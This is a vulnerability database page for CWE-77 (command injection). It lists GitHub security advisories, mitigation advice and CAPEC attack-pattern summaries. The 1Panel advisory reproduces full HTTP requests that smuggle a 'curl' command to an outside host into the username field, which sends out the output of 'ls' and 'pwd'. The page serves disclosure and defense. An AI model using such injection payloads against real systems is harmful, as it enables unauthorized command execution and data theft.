CWE-77
Allowed-with-ReviewImproper Neutralization of Special Elements used in a Command ('Command Injection')
Abstraction: Class · Status: Draft
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
5914 vulnerabilities reference this CWE, most recent first.
GHSA-Q2M3-HJGQ-X5R2
Vulnerability from github – Published: 2025-07-30 18:31 – Updated: 2025-07-30 21:31A PHAR deserialization vulnerability in the component /themes/import of PrestaShop v8.2.0 allows attackers to execute arbitrary code via a crafted POST request.
{
"affected": [],
"aliases": [
"CVE-2025-25691"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-30T17:15:27Z",
"severity": "MODERATE"
},
"details": "A PHAR deserialization vulnerability in the component /themes/import of PrestaShop v8.2.0 allows attackers to execute arbitrary code via a crafted POST request.",
"id": "GHSA-q2m3-hjgq-x5r2",
"modified": "2025-07-30T21:31:38Z",
"published": "2025-07-30T18:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25691"
},
{
"type": "WEB",
"url": "https://github.com/3em0/cve_repo/blob/main/preshop/CVE-2025-25691.md"
},
{
"type": "WEB",
"url": "https://github.com/PrestaShop/PrestaShop"
},
{
"type": "WEB",
"url": "http://dem0.com"
},
{
"type": "WEB",
"url": "http://dem0.com/admin/index.php/improve/design/themes/import?_token=btRUtV2Om2noliZZjeFQZhlMY3gYivjABbPOjP91L6U"
},
{
"type": "WEB",
"url": "http://prestashop.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q2MX-GPJF-3H8X
Vulnerability from github – Published: 2023-07-05 21:38 – Updated: 2023-07-05 21:38Impact
The authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories.
- Vulnerability analysis.
backend\app\api\v1\image_repo.go#create

backend\app\service\image_repo.go#CheckConn

- vulnerability reproduction.
POST /api/v1/containers/repo HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRF-TOKEN:
Content-Length: 446
Origin: http://192.168.109.152:40982
Connection: close
Referer: http://192.168.109.152:40982/containers/repo
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
{"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`ls`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"}
- Using update can be triggered multiple times.
POST /api/v1/containers/repo/update HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRF-TOKEN:
Content-Length: 447
Origin: http://192.168.109.152:40982
Connection: close
Referer: http://192.168.109.152:40982/containers/repo
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
{"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`pwd`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"}
Affected versions: <= 1.3.5
Patches
The vulnerability has been fixed in v1.3.6.
Workarounds
It is recommended to upgrade the version to v1.3.6.
References
If you have any questions or comments about this advisory:
Open an issue in https://github.com/1Panel-dev/1Panel Email us at wanghe@fit2cloud.com
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/1Panel-dev/1Panel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-36457"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-05T21:38:07Z",
"nvd_published_at": "2023-07-05T21:15:09Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories.\n\n1. Vulnerability analysis.\n\n```\nbackend\\app\\api\\v1\\image_repo.go#create\n```\n\n\n```\nbackend\\app\\service\\image_repo.go#CheckConn\n```\n\n\n2. vulnerability reproduction.\n\n```\nPOST /api/v1/containers/repo HTTP/1.1\nHost: 192.168.109.152:40982\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-CSRF-TOKEN: \nContent-Length: 446\nOrigin: http://192.168.109.152:40982\nConnection: close\nReferer: http://192.168.109.152:40982/containers/repo\nCookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e\n```\n\n```\n{\"id\":2,\"createdAt\":\"2023-04-13T19:57:43.633643247-07:00\",\"name\":\"asdasd\",\"downloadUrl\":\"127.0.0.1:8080\",\"protocol\":\"http\",\"username\":\"admin||curl http://192.168.109.1:12345/`ls`||\",\"auth\":true,\"status\":\"Failed\",\"message\":\"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\\nError response from daemon: Get \\\"http://127.0.0.1:8080/v2/\\\": dial tcp 127.0.0.1:8080: connect: connection refused\\n\",\"password\":\"Passw0rd\"}\n```\n\n3. Using update can be triggered multiple times.\n\n```\nPOST /api/v1/containers/repo/update HTTP/1.1\nHost: 192.168.109.152:40982\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-CSRF-TOKEN: \nContent-Length: 447\nOrigin: http://192.168.109.152:40982\nConnection: close\nReferer: http://192.168.109.152:40982/containers/repo\nCookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e\n```\n\n```\n{\"id\":2,\"createdAt\":\"2023-04-13T19:57:43.633643247-07:00\",\"name\":\"asdasd\",\"downloadUrl\":\"127.0.0.1:8080\",\"protocol\":\"http\",\"username\":\"admin||curl http://192.168.109.1:12345/`pwd`||\",\"auth\":true,\"status\":\"Failed\",\"message\":\"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\\nError response from daemon: Get \\\"http://127.0.0.1:8080/v2/\\\": dial tcp 127.0.0.1:8080: connect: connection refused\\n\",\"password\":\"Passw0rd\"}\n```\n\nAffected versions: \u003c= 1.3.5\n\n### Patches\n\nThe vulnerability has been fixed in v1.3.6.\n\n### Workarounds\n\nIt is recommended to upgrade the version to v1.3.6.\n\n### References\n\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/1Panel-dev/1Panel\nEmail us at wanghe@fit2cloud.com\n",
"id": "GHSA-q2mx-gpjf-3h8x",
"modified": "2023-07-05T21:38:07Z",
"published": "2023-07-05T21:38:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-q2mx-gpjf-3h8x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36457"
},
{
"type": "PACKAGE",
"url": "https://github.com/1Panel-dev/1Panel"
},
{
"type": "WEB",
"url": "https://github.com/1Panel-dev/1Panel/releases/tag/v1.3.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "1Panel vulnerable to command injection when adding container repositories"
}
GHSA-Q2P3-F9CF-5MQP
Vulnerability from github – Published: 2022-08-16 00:00 – Updated: 2022-08-19 00:00D-Link Go-RT-AC750 GORTAC750_revA_v101b03 & GO-RT-AC750_revB_FWv200b02 is vulnerable to command injection via /htdocs/upnpinc/gena.php.
{
"affected": [],
"aliases": [
"CVE-2022-36523"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-15T17:15:00Z",
"severity": "CRITICAL"
},
"details": "D-Link Go-RT-AC750 GORTAC750_revA_v101b03 \u0026 GO-RT-AC750_revB_FWv200b02 is vulnerable to command injection via /htdocs/upnpinc/gena.php.",
"id": "GHSA-q2p3-f9cf-5mqp",
"modified": "2022-08-19T00:00:21Z",
"published": "2022-08-16T00:00:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36523"
},
{
"type": "WEB",
"url": "https://drive.google.com/file/d/13D6K0UxNNzbLU4YRPfJc7MAk6iKFICdr/view?usp=sharing"
},
{
"type": "WEB",
"url": "https://www.dlink.com/en/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q2X3-J47P-F2WW
Vulnerability from github – Published: 2023-09-22 00:30 – Updated: 2024-04-04 07:47D-LINK DIR-806 1200M11AC wireless router DIR806A1_FW100CNb11 is vulnerable to command injection due to lax filtering of HTTP_ST parameters.
{
"affected": [],
"aliases": [
"CVE-2023-43128"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-21T23:15:12Z",
"severity": "CRITICAL"
},
"details": "D-LINK DIR-806 1200M11AC wireless router DIR806A1_FW100CNb11 is vulnerable to command injection due to lax filtering of HTTP_ST parameters.",
"id": "GHSA-q2x3-j47p-f2ww",
"modified": "2024-04-04T07:47:57Z",
"published": "2023-09-22T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43128"
},
{
"type": "WEB",
"url": "https://github.com/mmmmmx1/dlink/blob/main/DIR-806/1/readme.md"
},
{
"type": "WEB",
"url": "http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DIR-806"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q2X9-7C5Q-96XP
Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2022-06-29 00:00A remote arbitrary command execution vulnerability was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.10.0, 6.9.6 and 6.8.9. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.
{
"affected": [],
"aliases": [
"CVE-2021-34613"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-08T20:15:00Z",
"severity": "MODERATE"
},
"details": "A remote arbitrary command execution vulnerability was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.10.0, 6.9.6 and 6.8.9. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.",
"id": "GHSA-q2x9-7c5q-96xp",
"modified": "2022-06-29T00:00:53Z",
"published": "2022-05-24T19:07:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34613"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2021-012.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-Q2XW-VM55-8V83
Vulnerability from github – Published: 2025-03-17 12:30 – Updated: 2025-09-16 18:31Improper Neutralization of Special Elements used in a Command vulnerability allows OS Command Injection.This issue affects Pandora FMS from 700 to 777.6
{
"affected": [],
"aliases": [
"CVE-2024-12971"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-17T10:15:14Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Special Elements used in a Command vulnerability allows OS Command Injection.This issue affects Pandora FMS from 700 to 777.6",
"id": "GHSA-q2xw-vm55-8v83",
"modified": "2025-09-16T18:31:19Z",
"published": "2025-03-17T12:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12971"
},
{
"type": "WEB",
"url": "https://pandorafms.com/en/security/common-vulnerabilities-and-exposures"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:U/V:C/RE:L/U:Green",
"type": "CVSS_V4"
}
]
}
GHSA-Q36R-PJG6-PRM8
Vulnerability from github – Published: 2026-08-17 06:33 – Updated: 2026-08-17 06:33A vulnerability was detected in GL.iNet A1300, AX1800, AXT1800, MT2500, MT3000, MT6000, X3000 and XE3000 4.8.x. This issue affects some unknown processing of the file /usr/bin/gl_nas_sys of the component NAS Command Service. The manipulation results in os command injection. The attack may be launched remotely. Upgrading to version 4.9.0 is capable of addressing this issue. It is suggested to upgrade the affected component. The vendor explains: "After our investigation, we have confirmed that the vulnerability described (...) does indeed exist."
{
"affected": [],
"aliases": [
"CVE-2026-19983"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-17T05:17:09Z",
"severity": "MODERATE"
},
"details": "A vulnerability was detected in GL.iNet A1300, AX1800, AXT1800, MT2500, MT3000, MT6000, X3000 and XE3000 4.8.x. This issue affects some unknown processing of the file /usr/bin/gl_nas_sys of the component NAS Command Service. The manipulation results in os command injection. The attack may be launched remotely. Upgrading to version 4.9.0 is capable of addressing this issue. It is suggested to upgrade the affected component. The vendor explains: \"After our investigation, we have confirmed that the vulnerability described (...) does indeed exist.\"",
"id": "GHSA-q36r-pjg6-prm8",
"modified": "2026-08-17T06:33:56Z",
"published": "2026-08-17T06:33:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19983"
},
{
"type": "WEB",
"url": "https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/NAS%20Host-header%20bypass%20to%20unauthenticated%20root%20RCE.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-19983"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/873919"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/391165"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/391165/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q38V-GVJV-M5CJ
Vulnerability from github – Published: 2023-05-29 21:30 – Updated: 2024-04-04 04:22An issue was discovered in AudioCodes Device Manager Express through 7.8.20002.47752. BrowseFiles.php allows a ?cmd=ssh POST request with an ssh_command field that is executed.
{
"affected": [],
"aliases": [
"CVE-2022-24630"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-29T21:15:09Z",
"severity": "HIGH"
},
"details": "An issue was discovered in AudioCodes Device Manager Express through 7.8.20002.47752. BrowseFiles.php allows a ?cmd=ssh POST request with an ssh_command field that is executed.",
"id": "GHSA-q38v-gvjv-m5cj",
"modified": "2024-04-04T04:22:48Z",
"published": "2023-05-29T21:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24630"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2023/Feb/12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q392-XRMP-P8F6
Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-05-24 17:42Nagios XI 5.7.2 is affected by a remote code execution (RCE) vulnerability. An authenticated user can inject additional commands into normal webapp query.
{
"affected": [],
"aliases": [
"CVE-2020-24899"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-15T18:15:00Z",
"severity": "HIGH"
},
"details": "Nagios XI 5.7.2 is affected by a remote code execution (RCE) vulnerability. An authenticated user can inject additional commands into normal webapp query.",
"id": "GHSA-q392-xrmp-p8f6",
"modified": "2022-05-24T17:42:09Z",
"published": "2022-05-24T17:42:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24899"
},
{
"type": "WEB",
"url": "https://code610.blogspot.com/2020/08/postauth-rce-in-nagios-572.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-Q3JF-XFC9-6RC2
Vulnerability from github – Published: 2024-05-15 18:30 – Updated: 2025-01-21 18:31Remote Code Execution has been discovered in OpenText™ iManager 3.2.6.0200. The vulnerability can trigger command injection and insecure deserialization issues.
{
"affected": [],
"aliases": [
"CVE-2024-3483"
],
"database_specific": {
"cwe_ids": [
"CWE-434",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-15T17:15:12Z",
"severity": "HIGH"
},
"details": "Remote Code\nExecution has been discovered in\nOpenText\u2122 iManager 3.2.6.0200.\u00a0The vulnerability can\ntrigger command injection and insecure deserialization issues.\n\n",
"id": "GHSA-q3jf-xfc9-6rc2",
"modified": "2025-01-21T18:31:03Z",
"published": "2024-05-15T18:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3483"
},
{
"type": "WEB",
"url": "https://www.netiq.com/documentation/imanager-32/imanager326_patch3_hf1_releasenotes/data/imanager326_patch3_hf1_releasenotes.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation
If possible, ensure that all external commands called from the program are statically created.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
Mitigation
Assign permissions that prevent the user from accessing/opening privileged files.
CAPEC-136: LDAP Injection
An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-183: IMAP/SMTP Command Injection
An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.
CAPEC-248: Command Injection
An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.
CAPEC-40: Manipulating Writeable Terminal Devices
This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.